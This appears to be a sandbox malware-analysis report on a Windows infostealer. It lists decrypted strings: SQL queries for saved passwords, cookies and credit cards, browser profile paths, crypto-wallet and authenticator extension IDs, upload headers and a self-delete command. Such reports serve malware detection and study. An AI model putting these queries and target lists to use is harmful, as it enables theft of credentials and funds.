Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GdipFree
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SymMatchString
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: HEAD
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: POST
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: file
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Content-Disposition: form-data; name="file"; filename="
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Content-Type: application/octet-stream
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Content-Transfer-Encoding: binary
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SOFT:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: PROF: ?
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: PROF:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: HOST:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: USER:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: PASS:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: encrypted_key
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: PATH
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: PATH=
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: NSS_Init
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Cookies\%s_%s.txt
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: TRUE
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: FALSE
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Autofill\%s_%s.txt
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CC\%s_%s.txt
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Card number:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Name on card:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Expiration date:
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: History\%s_%s.txt
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SELECT url FROM urls
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Downloads\%s_%s.txt
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SELECT target_path, tab_url from downloads
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Login Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Cookies
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Web Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: History
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: logins.json
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: usernameField
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: guid
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SELECT url FROM moz_places
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: places.sqlite
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Local State
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ..\profiles.ini
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Chrome
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Google\Chrome\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Chromium
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Chromium\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Edge_Chromium
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Microsoft\Edge\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Kometa
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Kometa\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Amigo
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Amigo\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Torch
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Torch\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Orbitum
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Orbitum\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Comodo
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Comodo\Dragon\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Nichrome
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Nichrome\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Maxthon5
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Maxthon5\Users
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Sputnik
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Sputnik\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Epic Privacy Browser\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Vivaldi
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Vivaldi\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CocCoc
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \CocCoc\Browser\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Uran
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \uCozMedia\Uran\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \QIP Surf\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Cent
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \CentBrowser\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Elements
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Elements Browser\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: TorBro
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \TorBro\Profile
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: CryptoTab
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \CryptoTab Browser\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Brave
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \BraveSoftware\Brave-Browser\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Opera
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Opera Software\Opera Stable\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: OperaGX
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Opera Software\Opera GX Stable\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: OperaNeon
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Opera Software\Opera Neon\User Data
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Firefox
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Mozilla\Firefox\Profiles\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SlimBrowser
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \FlashPeak\SlimBrowser\Profiles\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: PaleMoon
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Moonchild Productions\Pale Moon\Profiles\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Waterfox
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Waterfox\Profiles\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Cyberfox
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \8pecxstudios\Cyberfox\Profiles\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: BlackHawk
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \NETGATE Technologies\BlackHawk\Profiles\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: IceCat
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Mozilla\icecat\Profiles\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: KMeleon
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \K-Meleon\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Thunderbird
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: \Thunderbird\Profiles\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: passwords.txt
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: TronLink
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: nkbihfbeogaeaoehlefnkodbefgpgknn
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: MetaMask
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: fhbohimaelbohpjbbldcngcnapndodjp
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Binance Chain Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ffnbelfdoeiohenkjibnmadjiehjhajb
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Yoroi
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: jbdaocneiiinmjbjlgalhcelgbejmnid
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Nifty Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Math Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: hnfanknocfeofbddgcijnmhnfnkdnaad
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Coinbase Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Guarda
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: blnieiiffboillknjnepogjhkgnoapac
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: EQUAL Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: cjelfplplebdjjenllpjcblmjkfcffne
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Jaxx Liberty
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: BitApp Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: kncchdigobghenbbaddojjnnaogfppfj
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: iWallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: amkmjjmmflddogmhpjloimipbofnfjih
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Wombat
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: MEW CX
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: nanjmdknhkinifnkgdcggcfnhdaammmj
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GuildWallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: nkddgncdjgjfcddamfgcmfnlhccnimig
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Saturn Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: fnjhmkhhmkbjkkabndcnnogagogbneec
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Ronin Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: cphhlgmgameodnhkjdmkpanlelnlohao
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: NeoLine
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: nhnkbkgjikgcigadomkphalanndcapjk
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Clover Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: kpfopkelmapcoipemfendmdcghnegimn
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Liquality Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: aiifbnbfobpmeekipheeijimdpnlpgpp
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Terra Station
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: dmkamcknogkgcdfhhbddcghachkejeap
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Keplr
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: fhmfendgdocmcbmfikdcogofphimnkno
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Sollet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: cnmamaachppnkjgnildpdmkaakejnhae
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Auro Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Polymesh Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: flpiciilemghbmfalicajoolhkkenfel
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ICONex
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: nknhiehlklippafakaeklbeglecifhad
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Nabox Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: hcflpincpppdclinealmandijcmnkbgn
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Temple
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: mnfifefkajgofkcjkemidiaecocnkjeh
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: TezBox
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: dkdedlpgdmmkkfjabffeganieamfklkm
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Cyano Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Byone
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: OneKey
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: cihmoadaighcejopammfbmddcmdekcje
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: LeafWallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: lodccjjbdhfakaekdiahmedfbieldgik
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: DAppPlay
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ijmpgkjfkbfhoebgogflfebnmejmfbml
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: BitClip
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Steem Keychain
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: onofpnbbkehpmmoabgpcpmigafmmnjhl
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Nash Extension
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: bcopgchhojmggmffilplmbdicgaihlkp
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Hycon Lite Client
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: klnaejjgbibmhlephnhpmaofohgkpgkd
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ZilPay
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: aeachknmefphepccionboohckonoeemg
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Coin98 Wallet
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Phantom
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: bhghoamapcdpbohphigoooaddinpkbai
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Authenticator
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Authy
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: oeljdldpnmdbchonielidgobddffflal
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: EOS Authenticator
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ilgcnhelpchnceeipipijaljkblbcobl
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: GAuth Authenticator
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: imloifkgjagghnncjkhggdhalmcnfklk
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Trezor Password Manager
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: %s\%s\Local Extension Settings\%s
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: %s\CURRENT
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: %s\%s\Sync Extension Settings\%s
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: %s\%s\IndexedDB\chrome-extension_%s_0.indexeddb.leveldb
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: Plugins\
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ProductName
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: DISPLAY
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Cryptography
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: MachineGuid
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: DisplayName
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: screenshot.jpg
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "%s" & exit
Source: 0.2.BBiIn5gqhd.exe.400000.0.unpack	String decryptor: C:\Windows\System32\cmd.exe

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00407650 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00407650
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_004072D0 CryptUnprotectData,	0_2_004072D0
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_004078E0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_004078E0
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00404960 memset,CryptStringToBinaryA,CryptStringToBinaryA,	0_2_00404960
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_004075B0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_004075B0

Source: BBiIn5gqhd.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: BBiIn5gqhd.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss3.pdb source: nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_004098D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_004098D0
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401280
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401090
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00408920 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00408920
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00409D30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	0_2_00409D30
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00409B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00409B60
